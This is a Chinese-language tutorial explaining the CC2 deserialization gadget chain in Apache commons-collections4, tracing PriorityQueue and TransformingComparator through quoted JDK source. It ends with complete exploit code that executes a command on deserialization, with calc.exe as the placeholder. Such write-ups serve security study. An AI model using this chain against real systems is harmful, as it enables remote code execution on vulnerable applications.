目录
关于commons-collections4
一个重要的思维模型
触发Transform的关键类:TransformingComparator
反序列化的入口:PriorityQueue
Exp
关于commons-collections4
commons-collections4 是 Apache Commons 组件库中的一个项目,它是对旧版本 commons-collections 的重构和升级。主要的区别包括:
-
API 设计:commons-collections4 重新设计了 API,并且引入了一些新的功能和改进,同时也修复了一些旧版本中存在的 bug。
-
性能优化:commons-collections4 进行了性能优化,使得在实际使用中更加高效。
-
安全性增强:commons-collections4 引入了更多的安全性措施,以防止常见的安全漏洞。
commons-collections4有了两条新的利用链,CC2和CC4,这篇文章简单聊聊CC2
一个重要的思维模型
CC链是一条Serializable#readObject()到Transformer#transform()的调用链
触发Transform的关键类:TransformingComparator
看其compare方法就可,简单粗暴直接调用transform
public int compare(I obj1, I obj2) {O value1 = this.transformer.transform(obj1);O value2 = this.transformer.transform(obj2);return this.decorated.compare(value1, value2);}
现在我们的任务就是怎么去调用TransformingComparator的compare方法
反序列化的入口:PriorityQueue
先看PriorityQueue的构造方法,要求传入一个int和一个Comparator
public PriorityQueue(int initialCapacity,Comparator<? super E> comparator) {// Note: This restriction of at least one is not actually needed,// but continues for 1.5 compatibilityif (initialCapacity < 1)throw new IllegalArgumentException();this.queue = new Object[initialCapacity];this.comparator = comparator;}
再来看PriorityQueue的readObject方法
private void readObject(java.io.ObjectInputStream s)throws java.io.IOException, ClassNotFoundException {// Read in size, and any hidden stuffs.defaultReadObject();// Read in (and discard) array lengths.readInt();SharedSecrets.getJavaObjectInputStreamAccess().checkArray(s, Object[].class, size);final Object[] es = queue = new Object[Math.max(size, 1)];// Read in all elements.for (int i = 0, n = size; i < n; i++)es[i] = s.readObject();// Elements are guaranteed to be in "proper order", but the// spec has never explained what that might be.heapify();}
最后调用了heapify方法
显然由构造方法传入的comparator不为null,heapify方法进了else分支调用siftDownUsingComparator
private void heapify() {final Object[] es = queue;int n = size, i = (n >>> 1) - 1;final Comparator<? super E> cmp;if ((cmp = comparator) == null)for (; i >= 0; i--)siftDownComparable(i, (E) es[i], es, n);elsefor (; i >= 0; i--)siftDownUsingComparator(i, (E) es[i], es, n, cmp);}
而siftDownUsingComparator内部会调用构造方法传入的comparator的compare方法,此时我们只要令comparator为TransformingComparator即可完成利用链的调用。
private static <T> void siftDownUsingComparator(int k, T x, Object[] es, int n, Comparator<? super T> cmp) {// assert n > 0;int half = n >>> 1;while (k < half) {int child = (k << 1) + 1;Object c = es[child];int right = child + 1;if (right < n && cmp.compare((T) c, (T) es[right]) > 0)c = es[child = right];if (cmp.compare(x, (T) c) <= 0)break;es[k] = c;k = child;}es[k] = x;}
Exp
package com.CC2;import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Comparator;
import java.util.PriorityQueue;import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;public class CC2 {public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {Field field = obj.getClass().getDeclaredField(fieldName);field.setAccessible(true);field.set(obj, value);}public static void main(String[] args) throws Exception {Transformer[] fakeTransformers = new Transformer[] {newConstantTransformer(1)};Transformer[] transformers = new Transformer[] {new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] { null, new Object[0] }),new InvokerTransformer("exec", new Class[] { String.class}, new String[] { "calc.exe" }),};Transformer transformerChain = new ChainedTransformer(fakeTransformers);Comparator comparator = new TransformingComparator(transformerChain);PriorityQueue queue = new PriorityQueue(2, comparator);queue.add(1);queue.add(2);setFieldValue(transformerChain, "iTransformers", transformers);ByteArrayOutputStream barr = new ByteArrayOutputStream();ObjectOutputStream oos = new ObjectOutputStream(barr);oos.writeObject(queue);oos.close();System.out.println(barr);ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));Object o = (Object)ois.readObject();}
}